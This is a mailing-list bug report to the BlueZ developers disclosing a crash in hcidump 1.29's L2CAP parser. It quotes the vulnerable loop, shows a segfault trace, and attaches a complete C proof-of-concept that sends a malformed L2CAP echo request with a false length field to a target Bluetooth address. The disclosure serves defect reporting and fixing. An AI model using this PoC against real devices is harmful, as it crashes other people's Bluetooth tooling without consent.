[Bluez-devel] Bug in l2cap.c

[Pierre BETOUIN <info16@unsigned.ath.cx>]

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	Hi list,

Currently pentesting several bluetooth devices, I found a bug in hcidump
(tested version : 1.29). 

The affected code, located in l2cap.c, is :
------------------------------------------------------------------
while (frm->len >= L2CAP_CMD_HDR_SIZE) {
	if (!p_filter(FILT_L2CAP)) {
		p_indent(level, frm);
		printf("L2CAP(s): ");
	}
        
	switch (hdr->code) {
	l2cap_cmd_hdr *hdr = frm->ptr;
	frm->ptr += L2CAP_CMD_HDR_SIZE;
	frm->len -= L2CAP_CMD_HDR_SIZE;
	(...)
	default:
		if (p_filter(FILT_L2CAP))
			break;
		printf("code 0x%2.2x ident %d len %d\n",
			hdr->code, hdr->ident, btohs(hdr->len));
			raw_dump(level, frm);
	}
	frm->ptr += btohs(hdr->len);
	frm->len -= btohs(hdr->len);
------------------------------------------------------------------

# ./hcidump-crash 00:80:09:XX:XX:XX
L2CAP packet sent (15)
Buffer: 08 01 0B 00 41 41 41 41 41 41 41 41 41 41 41

# hcidump
HCI sniffer - Bluetooth packet analyzer ver 1.29
device: hci0 snap_len: 1028 filter: 0xffffffff
< HCI Command: Create Connection (0x01|0x0005) plen 13
> HCI Event: Command Status (0x0f) plen 4
> HCI Event: Connect Complete (0x03) plen 11
< HCI Command: Write Link Policy Settings (0x02|0x000d) plen 4
< ACL data: handle 41 flags 0x02 dlen 19
    L2CAP(s): debug : code=8
Echo req: dlen 12
    L2CAP(s): debug : code=0
code 0x00 ident 0 len 0
(...)
    L2CAP(s): debug : code=0
code 0x00 ident 0 len 0
segmentation fault

The PoC source file is joined.

	Pierre

-- 
Pierre BETOUIN
info16@unsigned.ath.cx
http://securitech.homeunix.org
GPG Key : 0x94D9CB23

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/*	hcidump v. 1.29 bluez				*/
/* 	Pierre BETOUIN <pierre.betouin@security-labs.org>	*/
/*	01/18/06						*/
/*	Crashes hcidump sending bad L2CAP packet		*/
/*								*/
/*	gcc -lbluetooth hcidump-crash.c -o hcidump-crash	*/
/*	./bug 00:80:37:XX:XX:XX					*/
/*	L2CAP packet sent (15)					*/
/*	Buffer: 08 01 0C 00 41 41 41 41 41 41 41 41 41 41 41	*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/hci.h>
#include <bluetooth/l2cap.h>

#define SIZE		15
#define FAKE_SIZE	12

int main(int argc, char **argv)
{
	char *buffer;
	l2cap_cmd_hdr *cmd;	
	struct sockaddr_l2 addr;
	int sock, sent, i;

	if(argc < 2)
	{
		fprintf(stderr, "%s <btaddr>\n", argv[0]);
		exit(EXIT_FAILURE);
	}
	
	if ((sock = socket(PF_BLUETOOTH, SOCK_RAW, BTPROTO_L2CAP)) < 0) 
	{
		perror("socket");
		exit(EXIT_FAILURE);
	}

	memset(&addr, 0, sizeof(addr));
	addr.l2_family = AF_BLUETOOTH;

	if (bind(sock, (struct sockaddr *) &addr, sizeof(addr)) < 0) 
	{
		perror("bind");
		exit(EXIT_FAILURE);
	}

	str2ba(argv[1], &addr.l2_bdaddr);
	
	if (connect(sock, (struct sockaddr *) &addr, sizeof(addr)) < 0) 
	{
		perror("connect");
		exit(EXIT_FAILURE);
	}
	
	if(!(buffer = (char *) malloc ((int) SIZE + 1))) 
	{
		perror("malloc");
		exit(EXIT_FAILURE);
	}
	
	memset(buffer, 'A', SIZE);

	cmd = (l2cap_cmd_hdr *) buffer;
	cmd->code = L2CAP_ECHO_REQ;
	cmd->ident = 1;
	cmd->len = FAKE_SIZE;
	
	if( (sent=send(sock, buffer, SIZE, 0)) >= 0)
	{
		printf("L2CAP packet sent (%d)\n", sent);
	}

	printf("Buffer:\t");
	for(i=0; i<sent; i++)
		printf("%.2X ", (unsigned char) buffer[i]);
	printf("\n");

	free(buffer);
	close(sock);
	return EXIT_SUCCESS;
}

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